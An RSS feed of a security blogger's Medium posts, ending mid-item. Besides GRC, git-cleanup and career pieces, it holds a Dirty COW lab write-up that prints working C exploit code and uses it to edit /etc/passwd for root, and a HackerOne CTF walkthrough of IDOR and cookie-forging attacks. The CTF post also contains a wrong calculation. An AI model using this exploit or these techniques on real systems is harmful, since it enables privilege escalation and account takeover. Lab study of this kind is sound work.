<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tsitsi Flora on Medium]]></title>
        <description><![CDATA[Stories by Tsitsi Flora on Medium]]></description>
        <link>https://medium.com/@tsitsiflora?source=rss-6b2ee3b4a093------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*TW3_5pzVr5HgkaoWOgK7KA.jpeg</url>
            <title>Stories by Tsitsi Flora on Medium</title>
            <link>https://medium.com/@tsitsiflora?source=rss-6b2ee3b4a093------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 20:01:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tsitsiflora/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AI in GRC]]></title>
            <link>https://tsitsiflora.medium.com/ai-in-grc-78f1f6af459a?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/78f1f6af459a</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[iso-27001]]></category>
            <category><![CDATA[grc]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 16:21:11 GMT</pubDate>
            <atom:updated>2026-07-28T16:21:11.852Z</atom:updated>
            <content:encoded><![CDATA[<p>A rather short thought piece. Or I should get a journal.</p><p>TL;DR</p><p>In my personal life i am n AI skeptic, that is clear to all the people around me. At least I think. With everything I see online my first thought is always “Is that AI?”. We have all seen the articles of people using AI for emotional comfort and advice. If that is you (I know that is me on some days) you need to stop. We all need to stop. In my professional life though, I think AI is a massive win. Not in the same way it has been taking over software engineering though, i think it is moving much slower in GRC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDx3ZtDfuNlbh3_yoLb1Zg@2x.jpeg" /><figcaption>Photo by <a href="http://demidov.kz/theordsgam/">Alexey Demidov</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>AI in security Engineering</h3><p>In my previous role i was doing security engineering. This role was technically heavy. One of my responsibilities was carrying out threat modelling for new features and helping developers implement controls after those sessions. My manager in this role who was very AI forward and savvy worked on developing an AI based threat modeller, then heavily encouraged us to use it. It was not that good, it made a lot of broad generalisations and it lacked important context about system components. All this to say, I could see how fast AI was moving in this field. Now you can even find AI penetration testers and manual code reviews are probably a thing of the past at this point.</p><h3>What about in GRC?</h3><p>GRC being a more document heavy part of information security, I did not se the same speedy adoption of AI. I’m pretty sure most people were just wondering where exactly it would fit in. It mostly seemed like a thing that can only be beneficial only in technical sectors. But I have. Few ways that i have been using AI now that i have moved into a GRC role.</p><ol><li><strong>Policy templating</strong></li></ol><p>If there is one thing that is just annoying to do, it is coming up with a standard policy template when building an ISMS. This is very important because ISO 27001 requires a set of foundational policies and it just makes sense that they all follow the same format.</p><p>2. <strong>Control mapping</strong></p><p>If you are dealing with a product that is being sold in various regions i.e., in the EU as well as in North America, it is vital to know where the different standards overlap. SOC2 is popular in America whereas ISO 27001 is more common in the EU, although it is becoming more international. AI really helps in discovering where these 2 standards overlap, and where there are gaps.</p><p>3. <strong>Automations</strong></p><p>Now automations do not necessarily have to rely on AI, but it just makes them easier. Things that used to require manual labor, such as following up on audit issues, keeping track of risks, document review cycles etc., can be done so much more smoothly with AI. This is such a game changer because much of GRC work is collaborations with people and engaging different teams to implement controls and processes. AI makes all that easier.</p><p>Anyways these are the main ways i have been using AI so far. If i discover any more, I will come back and update here.</p><p>Till next time</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78f1f6af459a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Remove Sensitive Files from GitHub History(without crying too much)]]></title>
            <link>https://tsitsiflora.medium.com/how-to-remove-sensitive-files-from-github-history-without-crying-too-much-a6245dd168d8?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6245dd168d8</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Mon, 05 May 2025 20:15:37 GMT</pubDate>
            <atom:updated>2025-05-05T20:15:37.734Z</atom:updated>
            <content:encoded><![CDATA[<p>So, someone pushed a sensitive file to GitHub, by mistake of course, because we are all human. And you have been tasked with cleaning it up. Well this was me, and I went in thinking it was going to take 30 minutes, because that’s how the GitHub documentation makes it look like.</p><p><a href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository">GitHub Documentation</a> (this was my main reference point on what to do, but it really does not anticipate that you will face some challenges during the process).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i33Az9TnEkBiHe5W207Aqg@2x.jpeg" /><figcaption>Photo by Francisco De Legarreta C. on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>This guide walks you through the entire process of removing a sensitive file from GitHub history safely and permanently – including the weird errors Git will throw at you when you’re just trying to be a responsible adult.</p><p>Table of Contents</p><p>1.	Why you can’t just delete the file and commit again</p><p>2.	What tool to use (git filter-repo)</p><p>3.	Setting up a clean clone (and why it matters)</p><p>4.	The actual filter-repo command</p><p>5.	Troubleshooting: the errors I got, and what they mean</p><p>6.	How to push safely (and not break everything)</p><p>7.	What to check on GitHub afterward</p><p>8.	What to tell your team</p><p>9.	Optional: Contacting GitHub support for backend cleanup</p><p>10.	Bonus: Protecting against this in the future</p><ol><li><strong>Why deleting the file isn’t enough</strong></li></ol><p>Git keeps everything in its history. Even if you git rm a file and commit the change, the sensitive data still lives in previous commits. Anyone can dig it up with a few simple commands.</p><p>So we need to rewrite the repo’s history and remove that file from all commits, everywhere, forever.</p><p>2. <strong>Use git filter-repo, not git filter-branch</strong></p><p>Quick rundown:</p><p>•	filter-repo is faster, safer, more actively maintained</p><p>•	Install it via:</p><pre>brew install git-filter-repo<br>pip install git-filter-repo</pre><p>3. <strong>Clone the repo (Fresh. No baggage.)</strong></p><pre>git clone https://github.com/your-org/your-repo.git repo-clean<br>cd repo-clean</pre><p>Don’t work from your existing repo. Git filter-repo refuses to run on a messy working directory.</p><p>4. <strong>Bring in the cursed commit (if it was in a PR)</strong></p><p>If the file was in a closed PR that never made it to main, Git won’t know about it unless you fetch the PR refs</p><pre>git fetch origin ‘refs/pull/*/head:refs/remotes/origin/pr/*’</pre><p>Error you might see without quotes:</p><p><em>no matches found</em></p><p>Solution: wrap the wildcard in quotes.</p><p>5. <strong>Checkout the bad branch and give it a proper name</strong></p><pre>git checkout origin/pr/47<br>git checkout -b sensitive-pr</pre><p>Don’t run filter-repo in detached HEAD mode or you’ll get:</p><p><em>Aborting: refusing to destructively overwrite repo history since this does not look like a fresh clone.</em></p><p>6. <strong>Run the command that actually removes the file</strong></p><pre>git filter-repo --path src/first_dir/second_dir/data/sensitive_file.json --invert-paths --force</pre><p>Key Flags:</p><p>• – invert-paths: means “delete this path from history”</p><p>• – force: filter-repo is paranoid. This flag means “yes, I know what I’m doing.”</p><p>7. <strong>Check that it’s gone</strong></p><pre>git log —all — path/to/your/file</pre><p>If nothing comes up: the demon has been exorcised.</p><p>8<strong>. Push carefully, not wildly</strong></p><p>If you try this:</p><pre>git push —force —mirror</pre><p>…and you see:</p><p><em>HTTP 400 Bad Request</em></p><p>You might be:</p><p>•	Missing authentication (use a Personal Access Token)</p><p>•	Hitting branch protection rules on main</p><p>Safer push strategy:</p><pre>git checkout -B main<br>git push origin main —force</pre><p>9. <strong>What to check on GitHub</strong></p><p>•	The file should be gone from the UI</p><p>•	The commit that added it should show:</p><p>“This commit does not belong to any branch on this repository…”</p><p>That means it’s orphaned. A ghost. A memory.</p><p>10. <strong>Ask GitHub Support to finish the job</strong></p><p>Even if the file is gone, GitHub caches old commits.</p><p>Ask Support to:</p><p>•	Run garbage collection</p><p>•	Clear cached views</p><p>•	Delete orphaned LFS objects (if used)</p><p>•	Help you sleep at night</p><p>While waiting, tell your team to hold off on recloning.</p><p>12.<strong> Bonus: How to prevent this next time</strong></p><p>•	Use .gitignore</p><p>•	Set up pre-commit hooks to scan for secrets</p><p>•	Use tools like git-secrets, TruffleHog, or Gitleaks</p><p>This was a somewhat frustrating and terrifying experience for me. I was genuinely terrifies to run a force push on a production repository. Somehow I just imagined myself making things worse than what they already were. But, it was worthwhile.</p><p>As I said, I went thinking it would only take me 30 minutes, but it ended up taking 3 hours. On top of that, it took about 1 and a half days for the GitHub Support team to get back to me and clean up everything from their side. I hope this helps to guide you a little bit if you face the same errors that I did.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6245dd168d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Full Stack Security Engineering: Yay or Nay?]]></title>
            <link>https://tsitsiflora.medium.com/full-stack-security-engineering-yay-or-nay-e05d58d4f24e?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/e05d58d4f24e</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[security-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[appsec]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 21:35:44 GMT</pubDate>
            <atom:updated>2025-03-28T21:35:44.867Z</atom:updated>
            <content:encoded><![CDATA[<p>It depends on what you mean by full stack.</p><p>⸻</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_qglHZGCyn-SYvulVApDQ@2x.jpeg" /><figcaption>Photo by <a href="http://smart-art.org/">Mathew Schwartz</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I recently came across a LinkedIn post declaring that 2025 is the year of the full-stack security engineer, and it got me thinking. The post listed a set of skills that security professionals should learn to fit this so-called full-stack role. The focus was primarily on defensive security – Blue Team skills – but it raised an interesting question: Is this something companies will start considering seriously in the future?</p><p><strong>Common Types of Security Engineers</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sctcr_FHljuPJNtxvJ9BCQ@2x.jpeg" /><figcaption>Photo by <a href="http://arifriyanto.com/">Arif Riyanto</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Before diving into whether a full-stack security engineer is a realistic expectation, let’s break down the different types of security engineers that currently exist.</p><ol><li><strong>Application Security Engineers</strong></li></ol><p>These are the ones who focus on securing a company’s software. They take an offensive approach, conducting penetration tests, design reviews, and threat modeling assessments to identify vulnerabilities before attackers do. They work closely with developers to ensure that security is built into the application from the ground up.</p><p>2. <strong>Security Operations Engineers</strong></p><p>These are the defenders of an organization’s security landscape. Their main job is to monitor, detect, and respond to threats, often working within a Security Information and Event Management (SIEM) system. They create playbooks for incident response, fine-tune alert rules, and analyze logs to separate real threats from false positives. When something goes wrong, they are usually the first to respond.</p><p>3. <strong>Infrastructure Security Engineers</strong></p><p>These engineers secure the foundational layer where applications reside. They collaborate with Platform Engineers to ensure that cloud environments (AWS, Azure, GCP, etc.) and on-prem infrastructure are architecturally sound and protected against threats. Their responsibilities often include automating security processes, managing identity and access controls, and implementing best practices for securing servers, networks, and databases.</p><p><strong>Can These Roles Be Merged into One?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbyeQEok8BXf6FiDx66opg@2x.jpeg" /><figcaption>Photo by <a href="https://christianscoaching.de/">Christian Erfurt</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>My initial reaction when I saw the post? No way. The idea of a single person being responsible for all of these security disciplines felt unrealistic. But after giving it more thought, I can see where the argument for a full-stack security engineer comes from.</p><p>I do agree that security engineers should have a broad understanding of different areas within security. It’s beneficial to know the basics of application security, incident response, and cloud security – even if you don’t specialize in them. Security professionals should also be comfortable with at least one programming language.</p><p>But here’s the issue: expecting expert-level proficiency across all these disciplines is simply not feasible.</p><p><strong>Why Full-Stack Security Engineering Doesn’t Work</strong></p><p>Companies might love the idea of an all-in-one security expert, but in reality, this approach creates more problems than it solves.</p><p>1.	Overworked and Underpaid Engineers – A full-stack security engineer would essentially be doing the job of three or more specialists, but companies would likely compensate them as if they were just one person. This leads to burnout and dissatisfaction.</p><p>2.	Jack of All Trades, Master of None – Security is a vast field. If an engineer is spread too thin across multiple disciplines, they risk becoming a generalist rather than an expert. And when a real security incident happens, you want an expert.</p><p>3.	Companies Need Specialists, Not Generalists – In high-stakes security environments, deep expertise in a specific area is far more valuable than surface-level knowledge across many. A dedicated Application Security Engineer will always be more effective at securing software than a generalist trying to juggle AppSec, Incident Response, and Cloud Security at the same time.</p><p><strong>Final Thoughts</strong></p><p>So, where do I stand? I don’t think full-stack security engineering is a viable concept. Security is too broad, and companies benefit more from specialists who are deeply skilled in a particular domain rather than generalists who only scratch the surface of everything.</p><p>That’s just my two cents. What do you think? Agree? Disagree? Let me know in the comments.</p><p>⸻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e05d58d4f24e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Security Engineer’s Dilemma: Staying Technical or Moving On?]]></title>
            <link>https://tsitsiflora.medium.com/the-security-engineers-dilemma-staying-technical-or-moving-on-7fbe935f1ad8?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fbe935f1ad8</guid>
            <category><![CDATA[risk]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[grc]]></category>
            <category><![CDATA[security-engineering]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Tue, 11 Mar 2025 12:01:56 GMT</pubDate>
            <atom:updated>2025-03-11T12:01:56.787Z</atom:updated>
            <content:encoded><![CDATA[<p>Where Have I Been?</p><p>⸻</p><p>Wow! It has been more than two years since I last published an article here – a very long time indeed. So much has happened in that time, and I’m excited to be back, writing and sharing my thoughts again.</p><p>The main reason I stopped publishing is simple: life got busy. I accepted a new job offer, relocated to a new country, and focused on settling in and adjusting to my new life. Sometimes, that takes two years – haha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9RpRn_-RjckB9Xt92CxRw@2x.jpeg" /><figcaption>Photo by <a href="https://heyeje.de/">Heye Jensen</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>The Adventures of Security Engineering</strong></p><p>The new job I accepted was in security engineering. Security engineers are responsible for ensuring that the internal security team’s processes run smoothly. It’s usually a vague job description – at least compared to a penetration tester’s role. When a penetration tester is hired, they know their primary task is to test and break the company’s products or systems.</p><p>For security engineers, every new day can bring a different challenge. In this role, I worked on a variety of tasks: developing internal security tools, improving vulnerability management and reporting, conducting product assessments, and more. What stood out to me the most was how adaptable a security engineer needs to be.</p><p>On any given day, you might be asked to review a new technology or verify code in a language you’ve never seen before. From a security perspective, you must quickly familiarize yourself with whatever is in front of you and provide helpful recommendations. This can be intense, especially when deadlines loom, and you don’t want security to be the reason developers can’t deploy to production.</p><p><strong>Check-Box Security</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-cHJ_cJM9hw2s8sFMlgyDg@2x.jpeg" /><figcaption>Photo by <a href="https://abgeknipst.de/">Glenn Carstens-Peters</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I enjoy security engineering – to some extent. It’s fast-paced and offers plenty of room for growth. However, I’ve been considering a career change for a while now. The ambiguity of security engineering has contributed to my decision, but my primary reason is thinking long-term. I strongly believe I can make a more significant impact in Governance, Risk, and Compliance (GRC).</p><p>One thing I’ve noticed across different companies is the tension between security teams and developers. Security is often seen as the “bad guy” that interrupts developers’ fun by insisting on secure design and implementation. But it shouldn’t be this way. I believe that with the right processes in place, the first line of defense (developers) can implement security more effectively without unnecessary friction.</p><p>Going forward, I plan to explore GRC and IT compliance in my writing. I see myself as more of a GRC engineer – someone who understands how to implement controls while also designing processes from a second-line-of-defense perspective. Many processes within a company work from the bottom up, but when it comes to security, it often turns into check-box compliance: writing policies and procedures based on what’s already been implemented rather than defining a secure architecture first and then executing it.</p><p>But that’s just my two cents – some may disagree. If you do, feel free to leave a comment. Let’s discuss.</p><p><strong>At Crossroads in My Career</strong></p><p>I can’t deny it – I feel like I’d be losing a part of myself by transitioning into a non-technical role. It feels like I’d be letting go of the defining aspect of my career – the technical side – and exchanging it for something less hands-on.</p><p>Don’t get me wrong, I haven’t made the leap yet. But I can’t ignore the growing feeling that security engineering is no longer fulfilling. Long-term, I’m not sure I’ll be able to keep up with the ever-changing technology landscape. In fact, I’m already struggling with that now.</p><p>As I get older, I realize the appeal of a more stable job – one that allows time for family, friends, and better mental health.</p><p>P.S.: I hope to get back into the habit of posting at least one article per week on topics I’m exploring. My thoughts might be a bit scattered at times, so bear with me. But I’m really glad to be back.</p><p>⸻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fbe935f1ad8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dirty Cow Vulnerability: An Analysis]]></title>
            <link>https://tsitsiflora.medium.com/dirty-cow-vulnerability-an-analysis-fdf50243dc6?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdf50243dc6</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[linux-kernel]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Fri, 13 Jan 2023 14:25:26 GMT</pubDate>
            <atom:updated>2023-01-13T14:25:26.367Z</atom:updated>
            <content:encoded><![CDATA[<p>This post was initially published <a href="https://tsitsiflora.github.io/">on my blog</a>, please go check it out.</p><h3>This is an analysis of the <a href="https://en.wikipedia.org/wiki/Dirty_COW">Dirty Cow Vulnerability</a> using a VM provided by <a href="https://seedsecuritylabs.org/Labs_20.04/Software/Dirty_COW/">SEED Labs</a>.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lE9AClKKs2O05oRYfvxLIg.png" /></figure><p>Dirty COW stands for Dirty copy-on-write. I actually found this out while doing my research for this exercise. I’ve read about the vulnerability previously, but I didn’t have hands-on experience with it or understand it in depth. So, I will be trying to do that in this blog post, and hopefully, it’s simple enough that you understand it too.</p><p>The Dirty COW vulnerability is a very interesting case of a race condition vulnerability. It existed in the Linux kernel since 2007 and was discovered in 2016, and because the kernel runs as root, it can be exploited as a privilege escalation vulnerability. This means attackers can gain root privileges by exploiting it, from a low-level user.</p><h3>What is a race condition?</h3><p>A race condition can arise in software when a computer program has multiple code paths that are executing concurrently. If the multiple code paths take a different amount of time than expected, they can finish in a different order than expected, which can cause software bugs due to unanticipated behavior.</p><h3>Here’s how I understood it:</h3><p>Let’s say you have a variable/object/resource a:</p><pre>a = &quot;DIRTY&quot;</pre><p>but you also have another variable b:</p><pre>b = a</pre><p>Even though these are two variables here, they both point to the same memory object, since there is no need to take up twice the amount of memory for identical values. The OS will wait until the duplicate is modified, that is when it will allocate separate memory for the other variable.</p><p>You modify b:</p><pre>b += &quot;COW&quot;</pre><p>At this point, here is what the kernel will do:</p><ol><li>allocate memory for the new modified variable</li><li>read the original contents of the object being duplicated</li><li>perform any required changes to it i.e., append “COW”</li><li>write modified contents into the newly allocated memory space</li></ol><p>The race condition exists between steps 2 and 4, which tricks the memory mapper into writing the modified contents into the original memory space instead of the newly allocated space. This is such that we end up modifying memory belonging to a i.e., the original object instead of b, even if we only had read-only privileges on a. The race condition allows the attacker to bypass these permissions.</p><p>It is obviously more complicated, I’d like to think, but here is a <a href="https://www.youtube.com/watch?v=CQcgz43MEZg">video</a> that might help you understand.</p><h3>Let’s get into the lab</h3><p>I fired up the VM, and of course, I was bombarded with alerts to upgrade to a later version. We won’t be doing that for now.</p><p>The objective in this lab is to write to a read-only file using the Dirty Cow vulnerability.</p><p>I’ll start by creating a file as sudo, adding some text to it, and modifying the privileges so that I only have read privileges to read the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*GTEdz7LqQNehteo2.png" /></figure><p>With a readable file ready, the next step is to edit the exploit. This exploit is made up of three threads: the main thread, the writeThread and the madvise thread. The main thread maps our file to memory, finds where the pattern we want to replace is, and then creates two threads to exploit the Dirty COW race condition vulnerability in the OS kernel.</p><pre>#include &lt;sys/mman.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;pthread.h&gt;<br>#include &lt;sys/stat.h&gt;<br>#include &lt;string.h&gt;<br><br>void *map;<br>void *writeThread(void *arg);<br>void *madviseThread(void *arg);<br><br>int main(int argc, char *argv[])<br>{<br>    pthread_t pth1,pth2;<br>    struct stat st;<br>    int file_size;<br><br>    // Open the target file in the read-only mode.<br>    int f=open(&quot;dirtycow&quot;, O_RDONLY);<br><br>    // Map the file to COW memory using MAP_PRIVATE.<br>    fstat(f, &amp;st);<br>    file_size = st.st_size;<br>    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);<br><br>    // Find the position of the target area<br>    char *position = strstr(map,&quot;cow&quot;);                        <br><br>    // We have to do the attack using two threads.<br>    pthread_create(&amp;pth1, NULL, madviseThread, (void  *)file_size); <br>    pthread_create(&amp;pth2, NULL, writeThread, position);             <br><br>    // Wait for the threads to finish.<br>    pthread_join(pth1, NULL);<br>    pthread_join(pth2, NULL);<br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*vCoRktLMWklp5GGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*IK9aVCkaXfP76_5m.png" /></figure><p>So first we are opening our file(note that it is being opened in read-only mode) and using the string function called strstr we are searching where cow is in the mapped memory, then we start two threads, writeThread and madviseThread.</p><p>The job of the writeThread is to replace the cow string with wow(or whatever we want to write). Since the mapped memory is of copy-on-write type, this thread alone will only be able to modify the contents in a copy of the mapped memory, which will not cause any change to the underlying dirtycow file.</p><pre>void *writeThread(void *arg)<br>{<br>    char *content= &quot;wow&quot;;<br>    off_t offset = (off_t) arg;<br><br>    int f=open(&quot;/proc/self/mem&quot;, O_RDWR);<br>    while(1) {<br>        // Move the file pointer to the corresponding position.<br>        lseek(f, offset, SEEK_SET);<br>        // Write to the memory.<br>        write(f, content, strlen(content));<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*AZc8WCLIUs208gEq.png" /></figure><p>The madvise thread does only one thing: discarding the private copy of the mapped memory, so the page table can point back to the original mapped memory.</p><p>If the write() and the madvise() system calls are invoked alternatively, i.e., one is invoked only after the other is finished, the write operation will always be performed on the private copy, and we will never be able to modify the target file. The only way for the attack to succeed is to perform the madvise() system call while the write() system call is still running. We cannot always achieve that, so we need to try many times. As long as the probability is not extremely low, we have a chance. That is why in the threads, we run the two system calls in an infinite loop.</p><pre>void *madviseThread(void *arg)<br>{<br>    int file_size = (int) arg;<br>    while(1){<br>        madvise(map, file_size, MADV_DONTNEED);<br>    }<br>}</pre><p>Okay. Exploit is ready. Let’s compile and execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*GGTw7clBe3uAdte_.png" /></figure><p>And we managed to write to the file. Now, this is a very simple example to prove the concept. We can apply this to write important files in the Unix OS such as the passwd file. This allows us to change the privileges that a normal user has, and upgrade them to a root user. See below.</p><p>We use sudo to create a user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/0*ftW9vk4MtumMxwUg.png" /></figure><p>See the UID is 1001, meaning elliot is just a normal user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/0*A3M2UhGOvh3vLASy.png" /></figure><p>We modify our exploit and run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*qbIBcFwROLYktnlm.png" /></figure><p>We managed to replace the elliot:x:1001 with elliot:x:0000, moving elliot into the root group, hence giving him root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*s8xMVa7JXKSP_kiZ.png" /></figure><p>There are a lot of use cases for this. Imagine an attacker modifies only the 1001 UID section to 0000, making all users root users. Overall, a super simple and easy-to-understand exploit.</p><p>I really enjoyed going in-depth to try and understand this vulnerability. I’m trying to do more deep dives into vulnerabilities and shift into this long form content. Again, I oversimplified so I can understand it, (and you too)but the kernel has a lot of layers to it.</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdf50243dc6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerOne CTF: Postbook]]></title>
            <link>https://tsitsiflora.medium.com/hackerone-ctf-postbook-6efd86ebf652?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/6efd86ebf652</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Thu, 21 Jul 2022 08:40:19 GMT</pubDate>
            <atom:updated>2022-07-21T08:40:19.624Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently published an article on a CTF writeup, an introduction to the HackerOne CTF. You can find that article <a href="https://tsitsiflora.medium.com/hackerone-ctf-micro-cms-v1-f91b1c4618e7?source=user_profile---------0----------------------------">here</a>. Today I am continuing with another CTF writeup from the HackerOne CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*b_StlKs2GCI09zCR563sNQ.gif" /></figure><h4>TL;DR</h4><p><a href="https://ctf.hacker101.com/ctf">This CTF</a> is offered by HackerOne for beginners who want to get started in Bug Bounty. From the levels that I have completed so far, it is very beginner friendly. <a href="https://www.hacker101.com/">Hacker101</a> is a site for beginners by HackerOne where you can learn web security before being invited to participate in a private bug bounty. I highly recommend passing through the CTF because it covers a lot of simple vulnerabilities.</p><h4>Postbook</h4><p>This is an easy level with 7 flags. It is an application that allows users to post articles, like a blog, but you can also post private articles. The vulnerabilities in this level are centered on access management as you will see. The flags here may not be in the expected order.</p><p><strong>Steps to reproduce</strong></p><p>1. Start the challenge</p><p>2. You should see a page that prompts you to sign up or sign in</p><p>3. Go through the site to enumerate as much as you can</p><p><strong>Flag 0</strong></p><p>1. Create a user using any credentials</p><p>2. When you sign in, you will see some posts that have already been published. Visit these posts and take note of the index in the URL i.e.,</p><pre>https://4a0a223ac914b592e3b2c43e7496e9e5.ctf.hacker101.com/index.php?page=view.php&amp;id=1</pre><p>3. Notice that there is index 1, then 3. Try replacing the index with 2.</p><p>4. You will be able to view a secret post on this page and the flag will be displayed.</p><p><strong>Flag 1</strong></p><p>1. `User` is a common username and on this application, there is a user called `User` which has a really easy password *hint</p><p>2. I used Intruder in BurpSuite to find the password</p><p>3. When you log in you will see a flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1T4zqCGjy2bIV3i57ohnA.png" /></figure><p><strong>Flag 2</strong></p><p>1. On your own profile, go on the page to create a post</p><p>2. Right-click to Inspect Elements</p><p>3. You will see a hidden element with a <em>`user-id`</em></p><p>4. Change the user id to 1 for the admin and your page will be revealed</p><p><strong>Flag 3</strong></p><p>1. There is a hint for this flag written `18*5`</p><p>2. The product is 945, and you can change the ID in the previous flag to 945</p><p>3. The flag will be revealed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*2Cal82MPMjCYKM-czRanzw.jpeg" /></figure><p><strong>Flag 4</strong></p><p>1. This flag is found on the editing page. Click on your own post and click edit</p><p>2. Right-click on that page and click on Inspect Element</p><p>3. You will see an element like this</p><pre>&lt;form method=”post” action=”index.php?page=edit.php&amp;amp;id=3&quot;&gt;</pre><p>You can edit the id on this element to another user’s and you will see a flag there</p><p><strong>Flag 5</strong></p><p>1. We can get this flag by manipulating the session cookies being used on the platform. You can use an extension on your browser to manage the cookies</p><p>2. Log in as a normal user and take a look at your cookie. It is an md5 hash of your user ID</p><p>3. You can use an online decryptor to check and decrypt the md5 hash. This also means you can create an md5 hash of the user admin by encrypting 1</p><p>4. When you get the hash, edit the cookie value and replace it with this one. You will be able to switch accounts</p><p>5. Your flag will be revealed</p><p><strong>Flag 6</strong></p><p>1. We can find this flag by deleting someone else’s post by manipulating the value on the delete URL</p><p>2. Log in as a normal user and create a post. On that post, you can see you will be able to delete or edit that post. Those options are not available for posts made by other users</p><p>3. Note down the id on the post you want to delete(it’s a number)</p><p>4. Right-click to Inspect Elements. You will see on your post an element like this</p><pre>&lt;a style=”color: red;” 